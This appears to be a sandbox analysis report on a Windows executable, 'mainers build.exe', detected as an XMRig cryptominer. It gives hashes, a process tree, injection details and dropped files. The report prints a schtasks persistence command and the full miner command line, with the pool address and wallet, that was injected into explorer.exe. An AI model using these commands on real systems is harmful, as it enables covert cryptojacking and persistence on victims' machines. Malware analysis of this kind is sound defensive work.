xmrig | b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e | Triage

Resubmissions

26/06/2024, 00:09

240626-afk9qsvdlm 10

26/06/2024, 00:08

240626-afcmlavdkq 10

26/06/2024, 00:07

240626-aejdrasbpd 10

26/06/2024, 00:07

240626-aec7qssbnf 10

26/06/2024, 00:06

240626-ad5wcssbmg 10

26/06/2024, 00:06

240626-adxvravcml 10

26/06/2024, 00:04

240626-acvn1asaqh 10

26/06/2024, 00:04

240626-ackh2asape 10

26/06/2024, 00:03

240626-ab5sksvblp 10

Analysis

max time kernel
2698s
max time network
2701s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
26/06/2024, 00:04

Sharing

Report Analysis Logs

General

Target

mainers build.exe
Size

29.7MB
MD5

b93dd3965c81ec30c91ac4b16d56a7b5
SHA1

6061c84646ce64812a87753ecbd96681e29bfb2c
SHA256

b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
SHA512

cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e
SSDEEP

786432:dQm2AnqisnglHxrW4jZ+cjyDmBOuOtkQupv6RN:eaqi0iHxq4tjysOtBr

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

resource	yara_rule
behavioral1/memory/4680-28-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4680-26-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4680-32-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4680-33-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4680-31-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4680-30-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/4680-34-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
4356	services64.exe
3348	sihost64.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3284 set thread context of 4680	3284	conhost.exe	91

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1656	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1004	conhost.exe
3284	conhost.exe
3284	conhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1004	conhost.exe
Token: SeDebugPrivilege	3284	conhost.exe
Token: SeLockMemoryPrivilege	4680	explorer.exe
Token: SeLockMemoryPrivilege	4680	explorer.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 1004	4600	mainers build.exe	81
PID 4600 wrote to memory of 1004	4600	mainers build.exe	81
PID 4600 wrote to memory of 1004	4600	mainers build.exe	81
PID 1004 wrote to memory of 212	1004	conhost.exe	83
PID 1004 wrote to memory of 212	1004	conhost.exe	83
PID 212 wrote to memory of 1656	212	cmd.exe	85
PID 212 wrote to memory of 1656	212	cmd.exe	85
PID 1004 wrote to memory of 1712	1004	conhost.exe	86
PID 1004 wrote to memory of 1712	1004	conhost.exe	86
PID 1712 wrote to memory of 4356	1712	cmd.exe	88
PID 1712 wrote to memory of 4356	1712	cmd.exe	88
PID 4356 wrote to memory of 3284	4356	services64.exe	89
PID 4356 wrote to memory of 3284	4356	services64.exe	89
PID 4356 wrote to memory of 3284	4356	services64.exe	89
PID 3284 wrote to memory of 3348	3284	conhost.exe	90
PID 3284 wrote to memory of 3348	3284	conhost.exe	90
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3284 wrote to memory of 4680	3284	conhost.exe	91
PID 3348 wrote to memory of 2532	3348	sihost64.exe	92
PID 3348 wrote to memory of 2532	3348	sihost64.exe	92
PID 3348 wrote to memory of 2532	3348	sihost64.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\mainers build.exe
"C:\Users\Admin\AppData\Local\Temp\mainers build.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mainers build.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1656
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      C:\Users\Admin\AppData\Roaming\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4356
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3284
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3348
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:2532
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=49uDLq2aoTjRxqrxdYYZG8A3ZGcLbH2E3BdwpD5UASiEhBnSZ7ERBhqJ768MaBCEGb2tQRCy4m37PEzTjW1MjNF3GEecTzC --pass= --cpu-max-threads-hint=40 --cinit-idle-wait=2 --cinit-idle-cpu=80 --tls
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scheduled Task

Persistence

Scheduled Task/Job

Scheduled Task

Privilege Escalation

Scheduled Task/Job

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
23867f73ff39fa0dfee6cfb5d3d176ab

SHA1
8705a09d38e5f0b034a6f4b4deb5817e312204e1

SHA256
f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

SHA512
108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
523b0b07998159ef63cae05147cda63a

SHA1
382de578dbff037b4331829c9347222e409e026e

SHA256
354628b91439e1bdb39992e6c24796312da01fd833e27466f1c2270bcb3acb1e

SHA512
091126ab76a059c2d3b5084112e4c85eb8250e045b6cfee0ea8b47d01b4222a43138e003b8b9504734960f175281b138db4bb44668eae35bfa7270d417a5a7db

Download Submit
C:\Users\Admin\AppData\Roaming\services64.exe

Filesize
29.7MB

MD5
b93dd3965c81ec30c91ac4b16d56a7b5

SHA1
6061c84646ce64812a87753ecbd96681e29bfb2c

SHA256
b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e

SHA512
cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e

Download Submit
memory/1004-5-0x000001D28BBC0000-0x000001D28BBCA000-memory.dmp

Filesize
40KB

Download
memory/1004-0-0x000001D2864F0000-0x000001D2882AE000-memory.dmp

Filesize
29.7MB

Download
memory/1004-6-0x00007FFFEFE50000-0x00007FFFF0911000-memory.dmp

Filesize
10.8MB

Download
memory/1004-7-0x00007FFFEFE50000-0x00007FFFF0911000-memory.dmp

Filesize
10.8MB

Download
memory/1004-11-0x00007FFFEFE50000-0x00007FFFF0911000-memory.dmp

Filesize
10.8MB

Download
memory/1004-3-0x000001D2A6310000-0x000001D2A80CE000-memory.dmp

Filesize
29.7MB

Download
memory/1004-1-0x000001D28BCC0000-0x000001D28BCD0000-memory.dmp

Filesize
64KB

Download
memory/1004-2-0x00007FFFEFE53000-0x00007FFFEFE55000-memory.dmp

Filesize
8KB

Download
memory/1004-4-0x000001D28BB90000-0x000001D28BBA2000-memory.dmp

Filesize
72KB

Download
memory/2532-35-0x000001D2B1900000-0x000001D2B1906000-memory.dmp

Filesize
24KB

Download
memory/2532-36-0x000001D2B3420000-0x000001D2B3426000-memory.dmp

Filesize
24KB

Download
memory/4680-29-0x0000000001FD0000-0x0000000001FF0000-memory.dmp

Filesize
128KB

Download
memory/4680-32-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4680-33-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4680-31-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4680-30-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4680-34-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4680-26-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4680-28-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download